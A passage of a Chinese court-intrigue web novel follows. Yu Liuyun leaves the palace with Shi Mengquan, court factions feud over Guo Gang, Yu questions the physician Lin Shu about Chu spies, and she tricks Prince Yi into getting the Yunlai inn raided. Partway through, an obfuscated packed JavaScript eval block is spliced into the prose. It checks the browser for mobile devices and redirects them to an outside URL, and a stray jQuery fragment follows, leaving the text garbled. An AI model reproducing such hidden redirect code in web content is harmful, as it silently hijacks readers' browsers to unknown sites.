“这……”庆澜帝犹豫了一下。翼王抢着道:“那我也跟着一道去。吉嫔娘娘过去侍奉母后,我也跟她很熟的。” “你去干什么?”庆澜帝道,“现已天黑了,你一个成年皇子去拜见朕的妃嫔,这是什么规矩?” “可是石……”他才想说石梦泉也不应该随意在后宫走动,借此拆穿玉旒云的诡计,却突然听外面太监报道:“启禀万岁,翼王府来人了,有急事要禀报翼王爷。” 真是煞风景!翼王没好气,等庆澜帝一批准那人进来就气呼呼地道:“什么大不了的事,连我跟皇兄皇嫂一起替玉大人接风都不给我个安稳?” 他府里来的人慌慌张张,凑到跟前低声说了几句话。翼王立时火了:“这种小事也值得闯到宫里来告诉我?一个歌……”才说到这里,后面的话硬生生咽了回去。 玉旒云已料到必然是有关歌姬舞女,便冷冷一笑:“都闯到宫里来了,想来事情并不小呢!王爷还是赶紧回去吧!” 翼王无法,只有满怀挫败地同庆澜帝夫妇告辞。正这当儿,娇荇也来请愉郡主赶紧出宫。这两个大麻烦都解决了,玉、石二人才算长长地舒了一口气。 玉朝雾又催庆澜帝依约往吉嫔宫中去,同时也对玉旒云道:“好了,十四弟已经走了,你也不用拿吉嫔来作挡箭牌。真的有心看望她,我要想和老佛爷请了懿旨才行。她的身份今时不同往日。” 玉旒云道:“好说,好说。明日放了朝,我再来看姐姐。” 外头报庆澜帝的御辇已经备妥,她就和石梦泉一同辞了皇后同庆澜帝出凤藻宫。由于大家方向不同,不久就分道扬镳。庆澜帝还有许多话想和两人讲,但是周围的人也不知哪个可信哪个不可信,所以他一直欲言又止。到了终于要分手的时候,他才道:“两位爱卿早去歇息,朕明日朝会后再和你们商量国事。” 玉、石二人自然要谢皇上关心,又躬身送他。 庆澜帝的御辇抬出了几步,他忽然又回身道:“玉爱卿,其实……十四皇弟的提议也不是……不是一点儿道理也没有吧?” 玉旒云一听到这话,就觉得心里好像扎了刺一样的难受,便假装没听到,又躬身一礼道:“恭送万岁。” 庆澜帝也知道她是装聋作哑,只得叹了口气,吩咐继续前进。 玉旒云就和石梦泉并肩出宫。只这么一耽搁的功夫,已经近二更了,五月的夜色如水,四周都是花木之香。禁宫落了钥,宫女们的嬉戏声仿佛在身后很遥远的地方。 一安静,种种思绪就都袭上心来。赵王,赵王到底在等什么呢?这个问题时时刻刻缠扰着玉旒云:这老奸巨猾距离时机成熟还有多远? 一时想得太入神了,连门槛也不跨,绊了一个踉跄,幸亏有石梦泉扶住——巡逻的禁军从他们跟前经过,要叫部下看到堂堂领侍卫内大臣在禁宫里摔跟头,实在是太没有面子了。玉旒云整整衣服,咳嗽了两声,同这队兵士点头问候。兵士在执勤时不便同人寒暄,只将脚步慢了慢,叫了人,便又继续向前了。 石梦泉这时才笑道:“想什么这么入迷?莫非你也觉得翼王爷那个‘内亲王’提议不错?” 玉旒云转脸怒视着他:“你——你竟然也说这样的话?” 石梦泉笑道:“咦,就兴你成日拿我同愉郡主开玩笑,不兴我随便引用一下万岁爷的金口玉言?你这不是‘只许州官放火,不许百姓点灯’么?” 玉旒云听他消遣自己,气也不是,笑也不是,最后一拳打了过去:“臭小子,敢拿本爵爷开心,吃我一拳再说!” 石梦泉一笑,避开了,撒腿就跑。玉旒云自然拔脚疾追。两人便又像进宫时一样,一前一后飞奔出了宫门,各自上了马,又在无人的街道上追逐。 如此夜色,如此放肆的自由,已经很久没有尝试过了。 一直驰到了闹市,街上行人渐多,两人才放慢了速度。玉旒云终于追上了石梦泉,不忘拿马鞭在他背后敲了一计:“好小子,其实你总是跑得比我快,马术也比我强,就是次次都让我。真讨厌!” 石梦泉道:“我如果不让你,岂能这么轻易就被你打到?” 玉旒云一咬嘴唇:“我只承认你轻功和马术比我好,没承认你拳脚上也胜过我。要不要打一场,看看谁高谁下?” 石梦泉望望四周:“这里?” 这正是西京最繁华的所在,酒楼茶社鳞次栉比,玉液琼浆琥珀流光,许多店铺也要到半夜才打烊——樾国毕竟不比中原礼教甚严,许多青年男女都比肩夜游,店铺就专做他们的生意。 “这里的确是不适合比试。”玉旒云道,“不如上我府里……”才说着,忽然看到一家酒楼门口有司徒蒙府里的轿子,再看旁边,是刘子飞府里的轿子——呵,这两个没用的老东西已经迫不及待要碰头想些歪点子了。 石梦泉也注意到这两乘轿子了,抬眼朝那酒楼的二楼望了望,只将灯火辉煌,时不时有歌姬舞娘的彩带从窗口闪过。“明天朝会上不知道会发生什么事。”他道,“不过,和赵王爷的事比起来,这大概只是小麻烦。” 玉旒云也望着楼上,心里想的却是完全不同的问题:郭罡是不是也在那里?她现在很想让这只黄鼠狼给自己出出主意——赵王在等什么? 69. 第 69 章 次日朝会上的麻烦毋须赘言——刘子飞有奏本大骂玉旒云,而玉旒云也有折子弹劾刘子飞。因为折子先已递到,所以吏部、兵部早就暗暗较着劲儿,就等着真正兵戎相见的一刻——吏部的人看玉旒云这等年少轻狂、目中无人的后生小子多少有些不顺眼,觉得她一介女流,倚仗自己是皇亲国戚就一再被破格擢升,还常常对吏部内部的事指手画脚——在她的军队里,她要提升谁自然就可以提升谁,但是一方总兵的任命岂是她说什么吏部就应该照办的?长久下去,吏部岂不要成了军队的附属了?只是,大家知道她有皇后撑腰,不想就此得罪。乐得由刘子飞来捅这个马蜂窝。而兵部的人完全是另一种想法。本来兵部当权的都是刘子飞一辈武将出身的人物,也不喜欢玉旒云后来居上。赵临川等人在世的时候,找着机会就要整她一下。可是,这些人现在都老的老死的死——就剩刘子飞跟“和事老”司徒蒙,而玉旒云的战功又日渐显赫,兵部里没一个够资历出来同她叫板的。众人于是想,如果大家帮玉旒云稳固根基,她岂不是会为兵部谋福利?当然,却也不能当面得罪刘子飞,否则大家日后相见,面子上也不好过。如此,两部人马就在朝会上“彬彬有礼”地吵起架来。相持不下,所有旁的奏本全部压后,连东征的封赏都来不及宣布。 玉旒云没有见到赵王。不过见到了悦敏。眼下是什么形势,大家心知肚明,客套地点点头,笑意都带些阴寒。玉旒云离开京城“打猎”这么长时间,又东征郑国,这时带着军队回来,显然就是告诉赵王一派:之前的合作协议都是糊鬼的,大家始终是对立阵营。于是,就免了虚情假意,各自在各自的地方站着。到下朝会,也没有说过一句话。 原本庆澜帝说,朝会之后还要找玉、石二人商议“大事”。然而忽有太监报说吉嫔身体不适,庆澜帝就匆匆到后宫去了——看来吉嫔的病还挺严重,庆澜帝这一去,一连几天都没有上朝。 不上朝也好,朝下兵、吏两部可以明刀明枪地互相攻击,连大家在殿前遇到,也都是壁垒分明:兵部的人站在玉旒云身后,吏部的人站在刘子飞一边。刘子飞更自觉胜券在握,时不时地朝玉旒云翻白眼。玉旒云早听了郭罡的计策,懒得和这人一般见识。看到悦敏经过,而刘子飞迅速地粘了上去,她暗想:去吧,多一个白痴,快一点完蛋! 没过几天,“骂战”就有了突破性的进展。具体细节玉旒云没有过问,但是有人举报,说刘子飞的谋士郭某人如此如此这般这般地作恶多端,所有残害百姓的恶行都是出自他的计划。兵部立刻咬住不放,说:假如没有刘子飞的首肯,谋士怎么敢自作主张?而吏部那边却道:谋士有没有自作主张,并无实际证据,而玉旒云为了贪个人战功拒不支援北方是铁证如山的,何必在一个小小谋士身上做文章?闹了一阵,终于议政处出面了——悦敏道:郭罡的这桩公案实在和吏部没有什么关系,又由于他并没有在军中任职,所以和兵部的关系也很勉强,但是涉及几座城池的人命和刘子飞将军的声誉,须得慎重处理。他因而建议移交刑部、大理寺、都察院三司会审。 玉旒云不置可否,也不去听审,仿佛全不在意。她自己也想:郭罡愿意把这事朝自个儿身上揽,若不小心掉了脑袋,是他的道行不够,与人无尤。然而又忍不住担心:还有些问题想要问他呢,万一他就这么死了,岂不…… 三司会审没花多少工夫。郭罡按照先前跟玉旒云说的,将玉旒云指责刘子飞的罪过和刘子飞弹劾玉旒云的过犯统统都背到自己身上,对一切供认不讳,而且他还承认,自己是因为想让樾军内部起纷争,以报亡国之仇,才做了这许多坏事。杀人无数又心怀鬼胎,此种“非我族类”本来是“斩立决”,不想因为太子是这一年出生的,所以庆澜帝早有言在先,所有年内的“斩立决”都延迟到次年,郭罡因而就被押到了刑部的大牢里——连这个都算计到了,玉旒云不由暗暗笑骂:这老家伙,可真有一手! 庆澜帝暂时没有召见,她想,是时候先处理处理林枢的事了。原来她离开西京期间,太医院觉得林枢不该光吃俸禄不做事,就叫他暂时先进宫当差,等玉旒云回来再做新打算。岂料他进宫没多久就奉诏应诊,替一位老太妃治好了多年的顽疾。太医院中众人从前以为他只是因为得玉旒云赏识才会以布衣之身份出诊皇家,此时对他刮目相看,一定要留他在太医院里帮大家解决疑难杂症。林枢先还推辞,说自己奉了玉旒云的差遣要“随时候命”,但左、右两位院判大人都极力挽留,还特别给他安排了独立的府邸,林枢终于听从了他们的安排。 原本林枢寄住在石梦泉的府里,这件事由下人汇报给了石梦泉,又转达给玉旒云。玉旒云当时心里就暗一冷笑:呵,跑得倒快,莫非也知道我要收拾他了么? 然而调查处理林枢这件事,她想最好不要石梦泉在场——毕竟,林枢算是他的救命恩人,到了需要痛下杀手的时候,他会感觉十分尴尬的。于是就派石梦泉出城去巡视一下各营士兵,而自己一个人上林枢的府邸来。 早已打听好了,林枢这日不当职。但她还是赶了个大早。岂料才出自家门口,就撞上了要人命的翼王,笑嘻嘻招呼道:“玉大人,真早,上哪里去?” 玉旒云厌恶地白了他一眼:“不劳王爷费心。下官有要事在身。” “什么要事?”翼王就是这么不识相,紧追不舍,“有什么小王可以效劳的么?” “没有。”玉旒云干脆地回绝,打马就走。 翼王这次可有了准备了——也许这几天还狠狠练了一番马术,立刻策马追上来:“大人不说,怎么知道小王帮不上忙呢?小王为了大人甘愿上刀山下油锅,只要是大人的吩咐,小王无有不从。” 玉旒云真恨不得一鞭子抽将过去。不过正好看到街边上有一个早点摊子刚刚开档,伙计正在那里炸油饼。她便冷笑了一声,道:“你这么想下油锅么?去吧!”说时,朝翼王坐骑猛踢一脚。那畜生吃疼,抬前蹄立了起来,翼王不防备,叽里骨碌摔下了马去。玉旒云只听得后面一阵混乱,也懒得看他是不是真的掉进了油锅,自扬长而去。 没多时就到了林枢家。这府第显然是新翻修过的,墙壁比左右的房舍都要白些,显得干净,正像个大夫的居所。门子认识玉旒云,“哎呀”了一声,立刻飞跑去通报。而玉旒云也不等里面来迎接,将马随便一拴就走进门去。 这府第并不大,是两进两间。她一直走到最里一进,看满天井都是药材,知道是林枢日常起居之处,也听到林枢的声音了:“大人才回来就屈驾来看望在下这区区郎中,实在是不敢当。” 玉旒云在回西京的途中就已经盘算着要怎么对付他了——最佳切入点就是端木槿。因而把一切客套都免了,似笑非笑道:“我本不是来探你——没事谁想来看大夫?只不过我这次出门遇到了一位你的故人,所以特来替她转达一下问候。” 林枢的表情淡淡的:“故人?这可真是奇怪了。自恩师亡故之后,林某人可谓无亲无友,哪里有什么故人呢?还这么巧让玉大人碰上?” 玉旒云笑了笑:“什么叫‘无巧不成书’呢?我这次出门遇到重重险阻,有几次差点儿被人害了性命,却幸得你的这位故人出手相救,屡屡化险为夷。呵呵。”说到“重重险阻”的时候,她故意看了林枢一眼,想瞧瞧这人有何反应。 可林枢的表情那样淡然,就好像已经处理好的药材一样,不会改变:“哦?这人帮了大人这么大的忙,恐怕大人已经赏了他一官半职吧?我倒真是很好奇,我的哪一位故人和大人这样有缘呢?” 看你死撑到几时!玉旒云想。因道:“神农山庄端木庄主的千金端木槿小姐,难道不算是你的故人吗?” 林枢面上的表情果然起了一丝微妙的变化,但是太微妙了,又一闪而逝,玉旒云并没有解读出什么。“哦……端木姑娘……我的确认识她。说是故人么——”他冷笑了一声。 玉旒云感觉这声冷笑有些故弄玄虚的意味,一点儿也不放松,又道:“怎么?端木姑娘算不上你的故人么?她可跟我说了许多你的事迹呢!” “哦?”林枢的表情又是一变。 玉旒云打铁趁热,就将端木槿讲的林枢如何心中只有“祖师爷”、“医术至理”和“天下有病痛之人”,以及他怎样淡薄名利,甚至想过在市井中做个普通大夫度此余生,等等等等,一一都复述了一遍。“端木姑娘对你的了解可比我深得多了。我可怎么也没想到林大夫你是这样一个人呢!” “我是怎么样一个人?”林枢冷笑道,“我是一个贪图富贵爱慕虚荣之人?哈哈,说到这一点,我想起大人说要赐我百草门一块‘天下第一医馆’的匾额,不知什么时候兑现?” 他越是这样,越是引起玉旒云的怀疑,皱起眉头来看着他道:“我听端木姑娘说,你们医门中人并不在乎这些——似乎你们祖师爷的教训里没有这些虚名吧?不过,你想要匾额。待我奏明皇上,还不就是几天的功夫?” 林枢这一才冷笑得非常明显了,且狠狠地向面前的一匾草药抓了下去:“她跟你说祖师爷的教训?她神农山庄的人居然有脸和别人说祖师爷的教训?哈……哈哈哈哈!” 玉旒云看他那白净修长的手指插在褐色的草药中,好像看到骷髅的指爪抠进了腐烂的血肉,不禁打了个寒战:“怎么?天下医门不是同一个祖师么?你说得,她就说不得?” 林枢已经将一把干草药捻成了粉末,转脸看向玉旒云:“她跟你说了那么多事,一定也说了她父亲是怎样使用卑鄙手段夺走了《百草秘籍》,且害死了我师父、师兄吧?” 《百草秘籍》,玉旒云记得端木槿和同门游德信在争论中提到过,似乎是百草门和神农山庄恩怨的症结所在。不过,她不知道具体是什么始终,胡乱说话恐怕会露出马脚,于是摇头道:“不,她没有说。” “没有说?”林枢盯着她,然后哈哈大笑,“这倒真是神农山庄人行事的作风,个个都是伪君子!伪君子!” 玉旒云虚起眼睛,想看看林枢究竟是真的发怒还是做戏给她看——平日里一个如此冷静的人,突然惊动成这样,实在使人怀疑。 林枢“呼”地将整一架草药全都掀翻了:“十一年前,端木平这个老贼带着几个徒弟来到百草门,说是要和先师一同研究《百草秘籍》中的一段疑难文字。当时正遇上郑国瘟疫,感染疫病的百姓都被驱赶到了不归谷,我入谷去诊治,并没有留在百草门中。待我回去,又大病了一场。病好时,先师同我说,端木平在楚国发现了《百草秘籍》中的‘火龙胆’,他要亲自跟去验看。我不知是阴谋,所以没有阻止。半年后,师父回到百草门,竟然身受重伤,又中奇毒,我想尽办法,还是救不了他老人家。他临终之时告诉我,什么发现了‘火龙胆’,根本就是端木老贼的奸计,不过是想骗取师父手中的秘籍而已。而且,师父还发现,数年之前神农山庄游德信和我师兄一同出门游历,结果只有游德信一人活着回来——说什么两人不慎落下山崖,只游德信抓住树枝拣回一条命,这根本就是一派胡言。是神农山庄的诡计,存心想要亡我百草门!” 这故事似乎很合情理。玉旒云问道:“神农山庄为什么要灭你百草门?你们既然是同一个祖师,难道不应该是同气连枝的么?” “同气连枝?”林枢冷笑,“玉大人在官场上见过有什么人是同气连枝的么?武林和官场有什么分别?要我看,武林连官场还不如——官场上尔虞我诈,最后那个是英雄也好枭雄也罢,或者还能给天下的老百姓做些实事。武林中你杀我我杀你,最后就让你当了天下第一,能做什么?” 这几句话玉旒云倒是深有同感——楚国武林中的那群匹夫她领教过了,别说“同气连枝”,就连“貌合神离”也算不上。至于官场之中嘛,她想,石梦泉是永远也不会背叛她的。“原来你们两派还有这些恩怨,我倒不晓得。”敷衍了林枢一句,“武林只能有一个盟主,医门也只能有一个神农氏的传人——是这么回事么?” 林枢不答,算是默认了。 玉旒云笑道:“这是什么难事?我这就上奏万岁爷,找工匠给你百草门打造那‘天下第一’的匾额。如今郑国已成了我东海三省,你随便高兴把那匾额挂在哪里都可以。待我他日踏平了楚国,你去把神农山庄一把火烧了,也算为你师父、师兄报仇雪恨。” “下官多谢大人。”林枢抱拳行礼。 “小事一桩,不用挂在嘴边。”玉旒云摆摆手,暗想:他忽然说出这么一堆难辨真假的往事来,我盘问的计划不是全被打乱了?下面该怎样呢?一边想,一边假装观赏林枢的新居:“你这里还挺清雅的么!不请我进去坐一坐,参观参观?” “应该请大人上坐用茶。”林枢道,“不过,下官想,大人今天来这里的目的,并不是和下官寒暄两句这么简单。” “哦?”玉旒云警觉了起来,一瞥林枢,见他也正盯着自己。“那你说我是来干什么的?” “大人怀疑下官是楚国奸细,特地来试探下官的。” 他这样平静地一语道破,玉旒云反而愣住——既不必装腔作势了,她就冷冷一笑,道:“你倒有自知之明。” 林枢道:“大人如果真是出门打猎,怎么会遇到重重险阻,又怎么会遇上身在楚国的端木槿?大人是秘密潜入了楚国,被楚国武林人士追杀。你疑心是下官泄露了你的行踪,所以特地来找下官兴师问罪。” “连我去楚国都知道,看来也不需要问罪了,直接问斩好了。”玉旒云道,“你方才还花恁大功夫来作什么戏?” “大人去楚国,下官当然知道了。”林枢面不改色,“不过,我是在大人安全脱身之后才晓得的。楚国武林义师的一群匹夫来找我‘晓以大义’,希望我等到大人回京之后,帮他们下毒害死大人。” “有这种事?”玉旒云觉得他简直是在说书。 “不错。”林枢道,“他们先把自己吹得神通广大,说差一点儿就在芙蓉庙杀了大人,可惜却让大人走脱了。他们还聚在神农山庄商议怎样截杀大人,却不知大人换了女装,正好端端站在他们中间。直到后来大人和漕帮的人交上了手,那些帮众后来才从画像上认出。楚国武林各义师觉得大大的没有面子,发誓一定要取大人的性命。偏巧这时候,有个年轻人巧舌如簧,说服武林四方义师让他当盟主。不知怎么的,那些多年来谁也不服谁的门派竟然真的拥护他。不过,也有不服的,便不容于中原武林。他们因打算先干出一番事业来,再回去夺取盟主之位,便到西京来部署刺杀大人。而他们之所以会找上我,还是大人在神农山庄里说出我的行踪所致。” 真是越来越像说书了!玉旒云冷笑:“人家这么器重你,你倒出卖人家?” “他们不仁,我不义。”林枢道,“换在十一年前,我的确是只想做个市井里的普通郎中,遵循祖师的教诲,济世救人。但是那根本就是白日梦。这世界没有一处清净的所在,可以让人不出卖别人,也不被别人出卖的。我要为师父、师兄报仇,就要灭了神农山庄,灭了楚国武林——他们自己送上门来,我为什么不能出卖他们。” 玉旒云挑了挑眉毛,对林枢的话显然不太相信。 林枢道:“这些人的据点就在城南云来酒家,大人如果不信,可以派兵把那里围了,抓了人审问审问。” “呵,林大夫对我大樾国可真是忠心!”玉旒云语气中掩饰不住的讽刺,“你既然早知道有细作潜伏在京畿重地,怎么不向九门提督潘大人举报,好让他早早将逆贼抓获,免得祸乱京师?你偏偏要等我来查问你,才说出‘云来酒家’,我看你是随便找了些人来给你做替死鬼吧?” 林枢不慌不乱:“下官的确想过要禀报潘大人。只是,万一潘大人问下官如何得来的消息,下官要怎生回答?难道照直说出那群匹夫的来意?岂不是泄露了玉大人的行踪?我想大人一定不想把自己潜入楚国的人弄得尽人皆知吧?即使不是‘尽人皆知’,什么人可以知道,什么人不能知道,下官不清楚,也不敢胡乱做这个主。同理,假如潘大人去将这些奸细一网打尽,审问之下,也难免问知大人去楚国的事,九门提督衙门里那么多士兵,大人的行踪不也就泄露出去了?” 也算是个道理,玉旒云反驳不了他,但仍不信,冷笑道:“你原来是为了我好?” 林枢道:“是为了大人好,也是为了我自己好。我知道大人在楚国遇袭,一定会怀疑是我泄露秘密。我唯一证明自己清白的方法,就是把真正的奸细交到大人的手中。大人不是怀疑我随便找人来最替罪羊么?大人现在可以去把云来客栈围了——这些天北义师的盟主岳仲英也来了。大人应该在神农山庄武林大会上见过这个人,你把他抓来,就知道我没有说谎。” 岳仲英?玉旒云根本想不起来那群匹夫的名字了,依稀记得北武林盟主是个大胖子。若真见到,的确能认出来。林枢敢这么说,看来不像是作假的。“好。我这就去办这件事。”她道,“倒看看有哪些细作是我见过的。” “大人抓到人之后,我愿与他们对质。”林枢道,“大人可看看两边说的一样不一样,就可确定我讲的是否实话。” 既然敢对质,就是很有把握,玉旒云想,一定对质不出什么结果。因道:“对质就不用了。将他们处斩的时候我一定请你来看,让你略略出一口恶气。” “多谢大人。”林枢行下礼去,玉旒云看不到他的表情。 一切证据越是对他有利,他就越是惹人怀疑。玉旒云咬着嘴唇,再次一搏:“还有,你这么恨端木庄主,大概也很想把端木槿杀之而后快了?” “大人有她的行踪?”林枢问。 “当然有。”玉旒云仔细观察林枢的表情,“她现在江阳城中,迟些会到西京来。” “来做什么?”林枢问。 “来做我的医官。”玉旒云道,“不过既然她和你有如此恩怨……我考虑考虑是不是要把她杀了。” 林枢的表情还是如故,并没有显出一点担心,也没有一点兴奋。 玉旒云又接着道:“只是,她毕竟救过我好几次。我这样杀了她,是不是有点恩将仇报?” “大人要杀谁,要赏谁,都是大人的事。”林枢道,“不需要顾虑下官的感受。” “是么?”玉旒云挑了挑眉毛。 林枢道:“大人想留她做医官无非是欣赏她的医术。下官的医术和她比起来绝对是有过之而无不及——我想,所谓她救过大人的命,除了在神农山庄不留神让大人和石将军离开之外,应该还在东征途中替大人看过病吧?大人这一次病得很是厉害呢!” “是么?”玉旒云下意识地摸了摸脸:就这么容易被人看出来? 林枢道:“大人受伤在先,又染风寒,并且心中郁结——看来气息不顺,甚至于咳血,也有好几次吧?” 玉旒云假装满不在乎地笑了笑:“不错。但是端木姑娘已经把我治好了。你不用来放马后炮。” 林枢并不介意,又仔细察看了一下玉旒云的气色,皱了皱眉头,道:“大人的手怎么了?” 玉旒云一愣,才发觉原来手腕上青了一块——大概是急着甩开翼王,不小心在哪里碰了一下。“不是连这点小伤都得劳烦‘天下第一医馆’的林大夫吧?” “可不一定是小伤。”林枢道,“大人可不可以让下官把把脉?” “你不是告诉我撞青了这么一小块也会死吧?”玉旒云虽然伸出手去,但笑道,“要那样,我这么多年以来不晓得死过多少回了。” 林枢微笑不答。方要将手指搭上她的腕子,听一人道:“撞青了一块不会死,不过我摔青了一大块可麻烦了!”竟是翼王启锲而不舍地追来了。看他衣服污糟,帽子也丢了,显然方才摔得很狼狈。玉旒云心里好不痛快。还要雪上加霜地讽刺翼王两句:“王爷不擅骑射,怎么能在闹市中驰马呢?以后还是坐轿子来得妥当。” 翼王揉着胳膊,尽量不露出怒容,强笑道:“原来别人受伤玉大人就高兴,那小王这一跤跌得也值了——玉大人这么匆匆忙忙地来找林大夫,莫非病了?” “我没有病,好得很呢。”玉旒云道,“我找林大夫……是跟王爷没关系的事。” 翼王道:“好,好,好,那你们要紧事谈完了没有?要是谈完了,请林大夫看看小王的胳膊摔断了没?” 林枢看翼王还能这样好好儿的说话,想来胳膊是没有大碍的,否则早就晕过去了。然而还是走上前去,轻轻抬起他的胳膊来检视,翼王夸张地吸气叫疼。 此时不脱身等待何时?玉旒云想,况且也该部署一下云来酒家的事,就向林枢摆了摆手,疾步朝外走。可是翼王一见她要走,立刻哪儿也不疼了,追上来道:“大人,到哪里去?” “王爷是我的上司么?”玉旒云不耐烦地,“好像没必要跟你交代吧?” “不用交代。”翼王道,“只要告诉小王,就什么需要小王效劳的就行了。” 真是可恶!玉旒云恨不得甩手给他一个耳光,看是,连让他跌下马都不管用,打一个耳光怎么能够把他赶走?这家伙,怎么做牛皮糖的本领越来越强了?这样纠缠下去,还怎么办正事? 正恼火不已时,猛然心念一动:何不就利用利用这个傻瓜?此念一起,一通百通,立刻就想出一条妙计来,牵动嘴角对翼王一笑,道:“我不是要去办事,所以没什么要王爷帮忙的。不过我要去喝茶,王爷要不要一起来?” 翼王听到这话,简直连骨头也酥了:“要来,要来!不知大人要去哪一处茶馆?小王来做东。” “你跟来就是。”玉旒云不多言,举步出了林枢的家门。 玉旒云带着翼王来到了城南,这里也是个热闹之所,店铺酒家一间接一间。然而附近是平民居所,因此店面的布置与店堂的陈设都和城中闹市有很大差别,出入的也都是贩夫走卒,还有些不得志的穷酸书生,守着一壶茶,一粒一粒数着花生米打发时光。翼王不禁皱眉:“玉大人,这里能有什么好乐子?” 玉旒云转头看着她,突然板起了面孔:“王爷,我不怕实话告诉你,我并不是来喝茶的。我得到消息,这里潜伏了许多细作乱党,我要来将他们一网打尽。” 翼王有过一次被人劫持的经验,不禁变色道:“啊……这么危险的事,应该叫九门提督潘大人带兵来,就凭你我二人,是不是……” 玉旒云故作神秘道:“嘘,王爷小声些。西京是个什么地方?贸然叫潘大人带兵那么多兵马来拿人,要有多大的骚动?还不等到跟前就已经打草惊蛇让逆贼跑了。” 也是一说,翼王点点头:“可是就凭大人和小王,要怎生对付逆贼?” 玉旒云道:“我自有主张,王爷就按我的吩咐去做,包准伤不了你分毫,还能立一大功。” 翼王从小到大游手好闲不务正业,和那愉郡主一样,可谓成事不足,败事有余。玉旈云想,这登徒子铁了心要追求自己,必然一直想要做出些什么惊天动地的大事来,好赢她的赏识,只不过既没有本事也没有机会罢了;这时听自己要叫他去立功,骨头只剩二两重?她瞥了翼王一眼,后者果然连连点头:“好,好,小王但凭大人差遣。” 玉旒云就凑近了,如此如此这般这般吩咐一番。翼王那神气,显然是光看玉旈云这样的态度就已经连魂都恨不得给了她,自然一百个一千的答应。玉旒云又叫他重复了一次,确定他是记住了,这才一起朝云来酒家走去。 不时就看到酒家的招牌了,玉旒云指了指对面的一家饭馆,翼王便掸掸衣服走了过去。玉旒云一直注视着,直到翼王似模似样地吩咐如临大敌的店小二给自己“上几样拿手小菜”,她才从容不迫地走进云来酒家隔壁的一间茶楼,叫了壶茶静观动静。 过了没多久,就听饭馆里嘈杂了起来。见翼王一手捂着肚子,另一手指着掌柜的鼻子,大骂道:“你这菜里放了什么?想要毒害本王么?”那掌柜和小二都吓得两腿筛糠。翼王只是骂,看来这种无理取闹仗势欺人的事,他不用假装也能做得很好。骂了一阵,他复又大声叫肚子疼,推开了围观的人,踉踉跄跄走出门来——抬头看了看茶楼里的玉旒云。玉旒云递了个眼色,叫他继续按原计划办事,千万别出纰漏。翼王就继续一行走一行骂,到街口,爬上了马,扬鞭而去。 玉旒云一直看着,露出难以捉摸的笑容。 茶博士虽然难得招待贵客,但是玉旒云和翼王他都认识,而翼王如何自不量力对玉旒云穷追不舍,又如何多次被玉旒云弄得下不来台,这些种种早就被京中百姓添油加醋传为笑谈。他看今日这两个天璜贵胄同时出现在城南,显然不是碰巧的,大约又是玉旒云在捉弄翼王了。虽然心里觉得自己猜得大差不离十,但是茶博士懂得人情世故,皇亲国戚的是非只能背地里议论,当面一定要有多傻装多傻,于是除了加水添点心,他一句话也不说。 玉旒云添了两次水,觉得茶淡了,叫他换一换。这时,就看到外面跑来一队二十多个顺天府的衙役,个个手按腰刀,大声喝道:“让开让开,官府拿人!” 啊,看来是翼王吃坏了肚子,小题大做来了!茶博士想,又看看玉旒云的神色,而后者只是催他:“快换茶叶来——你打量翼王吃饭吃得不开心能找顺天府。我喝茶喝得不满意就不会叫人来拿你?”茶博士忙不敢再看热闹,提着水壶去了。 整条街的人都被惊动,纷纷探出来看热闹。而先前招待翼王的那家饭馆,老板伙计个个觉得末日来临,跑也不是,躲也不是,有个年纪小的跑堂索性在门口大哭起来。然而,顺天府的衙役却没有闯进那饭店拿人,而去把云来酒家的大门堵住了。在围观者的一片莫名其妙声中,捕头吆喝道:“哪个是掌柜?出来!” “是,是……”酒家里走出一个干瘦的小老头,地道的西京口音,“小人就是掌柜,不知官爷叫小人有什么吩咐?” 捕头骂道:“你吃了熊心豹子胆了,敢在天子脚下开黑店谋财害命?还害到了翼王千岁的头上?” 那掌柜一愣:“官爷,怕是弄错了。小店没有那福分招待翼王殿下,那是……” 还没说完,捕头已经一声断喝:“呔,翼王千岁亲自到顺天府告你们的状,你休要睁着眼睛说瞎话!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728650|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 掌柜简直要哭出来了:“官爷,真是冤枉!翼王殿下方才是在对面馆子里吃坏肚子的。小人就有天大的胆子也不敢扯谎。”说着用手指指街对面。 捕头回身看了看,又转回来瞧瞧云来酒家的招牌,道:“呔,你这刁民还要狡赖?翼王千岁分明和本官说是在云来酒家吃出毛病来的,你竟敢诬赖他人?来人,给我绑上!” 掌柜真是满腹冤屈不知向谁诉。围观的也有打抱不平者,道:“官爷,小人也看到,翼王爷的确是从那间鸿运酒楼里走出来的,和云来酒家没有关系。” 既有人牵头,就有人附和。“不错,”七嘴八舌,大伙儿来替云来酒家的掌柜叫屈,“我们也都看到翼王爷是从鸿运酒楼里走出来的。” 捕头搔了搔后脑勺:难道真是搞错了?正为难,却忽然见翼王从人群里钻了出来,还是一手捂着肚子,好像疼痛难当的样子,但说起话来却中气十足:“谁……谁说本王是从鸿运酒楼里出来的?本王分明就是在云来酒家被人谋害。本王可记着这招牌呢!你们这群黑心的奸商,吃坏了本王的肚子,可没吃坏本王的记性,难不成就这么一眨眼的功夫,我连自己去过哪里都不记得?” 苦主这样凿凿其辞,顺天府的衙役不得不信。而围观的却交头接耳地议论起来:还说没坏了记性?这分明是指鹿为马嘛! 玉旒云在茶楼上饶有兴致地欣赏着。鸿运酒楼本来哭丧脸的掌柜和伙计这时都觉得是老天搭救,一溜烟直朝后门逃。而云来酒家的掌柜则有口难辩,央求店里的客人和伙计齐来作证:“王爷真的没来过小店啊!而且小店里有这么多客人,没一个吃坏肚子的,就王爷真的大驾光临,也决不会有问题。” “他们没有吃出毛病,那是他们的事。”翼王道,“啊……莫非不是饭菜不干净,而是你店里有人存心毒害本王?” 掌柜把头摇得像拨浪鼓:“王爷,这可不能拿来开玩笑。王爷若能驾临小店,那是小店的荣幸。草民们和王爷无怨无仇,怎么会加害王爷呢?草民等可不想掉脑袋啊!” 翼王道:“你不敢加害本王,你店里其他人说不定图谋不轨呢?来,把这店中所有人给本王拿下,全部押回顺天府去问个明白!” 